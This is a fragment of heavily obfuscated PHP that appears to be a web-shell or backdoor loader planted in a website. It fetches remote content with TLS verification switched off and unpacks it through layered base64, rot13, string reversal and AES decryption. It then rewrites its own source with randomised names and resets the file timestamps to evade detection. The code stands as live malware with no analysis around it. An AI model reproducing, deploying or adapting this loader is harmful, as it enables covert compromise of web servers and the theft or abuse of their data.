50)return $j1551e48a1; }} if(ini_get('allow_url_fopen')){ $l95059f940=@stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false],'http'=>['timeout'=>10,'ignore_errors'=>true]]); $j1551e48a1=@file_get_contents($x6b525bc,false,$l95059f940); if($j1551e48a1&&strlen($j1551e48a1)>50)return $j1551e48a1; } $l95059f940=@parse_url($x6b525bc); if($l95059f940){ $qba2e02803=($l95059f940['scheme']=='https'?'ssl://':'').$l95059f940['host']; $j1551e48a1=@fsockopen($qba2e02803,$l95059f940['scheme']=='https'?443:80,$_e,$_s,8); if($j1551e48a1){ $_p=isset($l95059f940['path'])?$l95059f940['path']:'/'; if(isset($l95059f940['query']))$_p.='?'.$l95059f940['query']; @fwrite($j1551e48a1,"GET ".$_p." HTTP/1.1\r\nHost: ".$l95059f940['host']."\r\nAccept-Encoding: gzip\r\nConnection: Close\r\n\r\n"); $_r=''; while(!@feof($j1551e48a1))$_r.=@fgets($j1551e48a1,8192); @fclose($j1551e48a1); $_b=strpos($_r,"\r\n\r\n"); if($_b!==false){$_r=substr($_r,$_b+4);if(strlen($_r)>50)return $_r;} }} return false; } function hddf4b0563e($pa5183933fd,$sc763a88658){ $w6be512a=json_decode(base64_decode($sc763a88658),true); $je0945b489=base64_decode($pa5183933fd); foreach(array_reverse($w6be512a) as $ge4f335ac){ if($ge4f335ac=='rot13')$je0945b489=str_rot13($je0945b489); elseif($ge4f335ac=='strrev')$je0945b489=strrev($je0945b489); } return base64_decode($je0945b489); } function hb0ba23fb($f54f945f3,$aa3049d1,$u4f4a594f){ $v9d16e76598=hash_pbkdf2('sha256',$aa3049d1,$u4f4a594f,10000,32,true); $gea824bc4=substr($f54f945f3,0,1); $sae21101642=substr($f54f945f3,1,16); $j6965c5c1ae2=substr($f54f945f3,17); if($gea824bc4==chr(1)&&extension_loaded('openssl')){ return openssl_decrypt($j6965c5c1ae2,'aes-256-ctr',$v9d16e76598,OPENSSL_RAW_DATA,$sae21101642); }else{ $x6b525bc=''; for($qba2e02803=0;$qba2e02803'.$pa5183933fd); $pa5183933fd=null;$l95059f940=null;$j1551e48a1=null;unset($pa5183933fd,$l95059f940,$j1551e48a1); class Rfefd5bccd6ac{ private static $se143ad7=0; private $b0d8c39da6b='1c04da4372cc310a8b570b6dee0f542b'; private $vfc0331a9='bXRXM2gwOGF0alFxU0t0bGlNalUrRW1jQmp0ODZBM3ByYjgxMEdMNzE3NmRZRC9lMGhJeVp5RTJMWkRDNTE3eA=='; private $jd22c2e70='WyJzdHJyZXYiLCJyb3QxMyJd'; private $k5914ff84e=[75,30,15,79,20,69,113,68,102,25,75,115,79,7,12,118,118,109,87,64,69,80,17,118,126,123,25,13,104,30,98,82,66,68,15,67,4,86,82,104,28,98,112,18,86,121,10,116,83,99]; public function d33fa1ea(){ if(!empty($_GET)||!empty($_POST))return false; clearstatcache(); if(time()-filemtime(__FILE__)>86400)return true; if(rand(1,100)<=3)return true; self::$se143ad7++; if(self::$se143ad7>=50)return true; return false; } public function x4899e487a6(){ $file=__FILE__; clearstatcache(); $stat=stat($file); $mtime=$stat['mtime']; $atime=$stat['atime']; $nv=[]; for($i=0;$i<26;$i++){ $c2='abcdefghijklmnopqrstuvwxyz'; $n='$'.$c2[rand(0,25)]; for($j=0;$jk5914ff84e as $k){ $c.="'".addslashes($k)."',"; } $c=rtrim($c,',').'];'."\n"; $c.=$nv[1].'=\'\';'."\n"; $c.='foreach('.$nv[0].' as '.$nv[2].'){'."\n"; $c.=$nv[1].'.=chr('.$nv[2].'^0x21);'."\n"; $c.='}'."\n\n"; $c.=$nv[3].'=\''.addslashes($this->b0d8c39da6b).'\';'."\n"; $c.=$nv[25].'=\''.addslashes($this->vfc0331a9).'\';'."\n"; $c.=$nv[4].'=openssl_decrypt(base64_decode('.$nv[25].'),\"AES-128-ECB\",substr(sha1('.$nv[1].',true),0,16));'."\n"; $c.=$nv[5].'=\''.addslashes($this->jd22c2e70).'\';'."\n\n"; $c.='function '.$nf[0].'('.$nv[6].'){'."\n"; $c.='return false;'."\n"; $c.='}'."\n\n"; $c.='class '.$nc.'{'."\n"; $c.='private static '.$nv[20].'=0;'."\n"; $c.='private '.substr($nv[21],1).'=\''.addslashes($this->b0d8c39da6b).'\';'."\n"; $c.='private '.substr($nv[22],1).'=\''.addslashes($this->vfc0331a9).'\';'."\n"; $c.='private '.substr($nv[23],1).'=\''.addslashes($this->jd22c2e70).'\';'."\n"; $c.='private '.substr($nv[24],1).'=['; foreach($this->k5914ff84e as $k){ $c.="'".addslashes($k)."',"; } $c=rtrim($c,',').'];'."\n\n"; $c.='public function '.$nf[3].'(){'."\n"; $c.='if(!empty($_GET)||!empty($_POST))return false;'."\n"; $c.='clearstatcache();'."\n"; $c.='if(time()-filemtime(__FILE__)>86400)return true;'."\n"; $c.='if(rand(1,100)<=3)return true;'."\n"; $c.='self::'.$nv[20].'++;'."\n"; $c.='if(self::'.$nv[20].'>=50)return true;'."\n"; $c.='return false;'."\n"; $c.='}'."\n\n"; $c.='public function '.$nf[4].'(){/*mutate*/}'."\n"; $c.='}'."\n\n"; $c.='$obj=new '.$nc.';'."\n"; $c.='if($obj->'.$nf[3].'()){'."\n"; $c.='$obj->'.$nf[4].'();'."\n"; $c.='}'."\n"; $c.='?>'; file_put_contents($file,$c); touch($file,$mtime,$atime); } } $obj=new Rfefd5bccd6ac(); if($obj->d33fa1ea()){ $obj->x4899e487a6(); } ?>